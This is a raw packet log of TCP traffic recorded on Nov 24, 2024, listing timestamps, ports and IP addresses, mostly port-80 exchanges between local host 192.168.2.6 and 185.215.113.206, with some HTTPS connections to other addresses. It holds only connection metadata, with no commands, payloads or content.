Nov 24, 2024 04:20:47.606738091 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.606822968 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.606858015 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.606933117 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.607536077 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.607642889 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.607672930 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.607803106 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.608356953 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.608428001 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.608453035 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.608530045 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.609183073 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.609275103 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.609371901 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.610044003 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.610203981 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.610234022 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.610826015 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.610825062 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.610899925 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.611002922 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.611629009 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.611741066 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.611746073 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.611840010 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.612446070 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.612502098 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.612529039 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.612581968 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.613267899 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.613406897 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.613418102 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.613552094 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.614100933 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.614219904 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.614280939 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.614912987 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.615015984 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.615045071 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.615076065 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.615726948 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.615782022 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.615813017 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.615864992 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.616533995 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.616636038 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.616667032 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.616719007 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.617360115 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.617517948 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.617552996 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.617743015 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.618175030 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.618256092 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.618284941 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.618458033 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.619004965 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.619136095 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.619158030 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.619292974 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.619848013 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.619883060 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.619913101 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.620140076 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.620640993 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.620759964 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.620871067 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.620975971 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.621453047 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.621525049 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.621565104 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.621643066 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.622267008 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.622381926 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.622411966 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.622509956 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.623083115 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.623186111 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.623325109 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.623951912 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.624028921 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.624164104 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.624754906 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.624875069 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.624881029 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.625022888 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.625565052 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.625675917 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.625699997 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.625916004 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.626362085 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.626478910 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.626507998 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.626576900 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.627192020 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.627227068 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.627258062 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.627382994 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.628007889 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.628073931 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.628110886 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.628202915 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.628827095 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.628940105 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.628961086 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.629026890 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.629631042 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.629734993 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.629769087 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.629890919 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.630456924 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.630516052 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.630557060 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.630650043 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.631278992 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.631310940 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.631347895 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.631475925 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.632092953 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.632216930 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.632250071 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.632272959 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.632920980 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.633008957 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.633039951 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.633131027 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.633743048 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.633857012 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.633876085 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.633941889 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.634890079 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.634922028 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.634948969 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.635040998 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.635385990 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.635502100 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.635535002 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.635682106 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.636168957 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.636287928 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.636320114 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.636421919 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.637010098 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.637103081 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.637304068 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.637845993 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.637933016 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.637933969 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.638015985 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.638638973 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.638711929 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.638741970 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.638883114 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.639482021 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.639597893 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.639659882 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.640280962 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.640340090 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.640369892 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.640613079 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.641084909 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.641201019 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.641220093 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.641313076 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.641845942 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.641954899 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.737987995 CET	443	49887	152.195.19.97	192.168.2.6
Nov 24, 2024 04:20:47.738280058 CET	49887	443	192.168.2.6	152.195.19.97
Nov 24, 2024 04:20:47.738306999 CET	443	49887	152.195.19.97	192.168.2.6
Nov 24, 2024 04:20:47.739794016 CET	443	49887	152.195.19.97	192.168.2.6
Nov 24, 2024 04:20:47.739948034 CET	49887	443	192.168.2.6	152.195.19.97
Nov 24, 2024 04:20:47.740943909 CET	49887	443	192.168.2.6	152.195.19.97
Nov 24, 2024 04:20:47.741060019 CET	443	49887	152.195.19.97	192.168.2.6
Nov 24, 2024 04:20:47.741131067 CET	49887	443	192.168.2.6	152.195.19.97
Nov 24, 2024 04:20:47.783344030 CET	443	49887	152.195.19.97	192.168.2.6
Nov 24, 2024 04:20:47.793430090 CET	49887	443	192.168.2.6	152.195.19.97
Nov 24, 2024 04:20:47.793457985 CET	443	49887	152.195.19.97	192.168.2.6
Nov 24, 2024 04:20:47.793937922 CET	443	49891	23.209.72.31	192.168.2.6
Nov 24, 2024 04:20:47.795598984 CET	49891	443	192.168.2.6	23.209.72.31
Nov 24, 2024 04:20:47.795618057 CET	443	49891	23.209.72.31	192.168.2.6
Nov 24, 2024 04:20:47.796639919 CET	443	49891	23.209.72.31	192.168.2.6
Nov 24, 2024 04:20:47.796777964 CET	49891	443	192.168.2.6	23.209.72.31
Nov 24, 2024 04:20:47.797132015 CET	49891	443	192.168.2.6	23.209.72.31
Nov 24, 2024 04:20:47.797193050 CET	443	49891	23.209.72.31	192.168.2.6
Nov 24, 2024 04:20:47.809308052 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.809408903 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.809444904 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.809545040 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.809691906 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.809798002 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.809829950 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.810055971 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.810354948 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.810411930 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.810465097 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.810523033 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.811158895 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.811240911 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.811301947 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.811350107 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.811536074 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.811976910 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.812096119 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.812141895 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.812208891 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.812248945 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.812387943 CET	443	49888	204.79.197.237	192.168.2.6
Nov 24, 2024 04:20:47.812793970 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.812899113 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.812905073 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.812995911 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.813081980 CET	49888	443	192.168.2.6	204.79.197.237
Nov 24, 2024 04:20:47.813098907 CET	443	49888	204.79.197.237	192.168.2.6
Nov 24, 2024 04:20:47.813618898 CET	443	49888	204.79.197.237	192.168.2.6
Nov 24, 2024 04:20:47.813633919 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.813700914 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.813730001 CET	49888	443	192.168.2.6	204.79.197.237
Nov 24, 2024 04:20:47.813731909 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.813750982 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.813795090 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.813997030 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.814445019 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.814570904 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.814693928 CET	443	49888	204.79.197.237	192.168.2.6
Nov 24, 2024 04:20:47.814709902 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.814800024 CET	49888	443	192.168.2.6	204.79.197.237
Nov 24, 2024 04:20:47.814865112 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.814973116 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.815264940 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.815290928 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.815334082 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.815367937 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.815382004 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.815480947 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.816054106 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.816087961 CET	49888	443	192.168.2.6	204.79.197.237
Nov 24, 2024 04:20:47.816164970 CET	443	49888	204.79.197.237	192.168.2.6
Nov 24, 2024 04:20:47.816174030 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.816203117 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.816364050 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.816889048 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.817049026 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.817203999 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.817698002 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.817859888 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.817859888 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.818002939 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.818752050 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.818830013 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.818878889 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.819081068 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.819344044 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.819485903 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.819514990 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.820235014 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.820357084 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.820389032 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.820789099 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.820983887 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.821121931 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.821151972 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.821242094 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.821845055 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.821923018 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.821955919 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.822082043 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.822618961 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.822734118 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.823159933 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.823445082 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.823611021 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.823637009 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.823724031 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.824255943 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.824372053 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.824385881 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.824467897 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.825099945 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.825192928 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.825248003 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.825304985 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.825911999 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.825973034 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.826003075 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.826718092 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.826891899 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.827007055 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.827402115 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.827548027 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.827687025 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.827775002 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.827872038 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.828358889 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.828547955 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.828579903 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.828691006 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.829183102 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.829379082 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.829412937 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.829781055 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.829966068 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.830111027 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.830152988 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.830209017 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.830816031 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.830955982 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.831033945 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.831638098 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.831809044 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.831890106 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.832120895 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.832457066 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.832560062 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.832679987 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.833261013 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.833368063 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.833420992 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.833499908 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.834108114 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.834217072 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.834336042 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.834908962 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.835019112 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.835051060 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.835215092 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.835702896 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.835835934 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.835867882 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.836528063 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.836630106 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.836637020 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.836725950 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.837343931 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.837440968 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.837542057 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.838157892 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.838269949 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.838300943 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.838741064 CET	49835	80	192.168.2.6	185.215.113.206
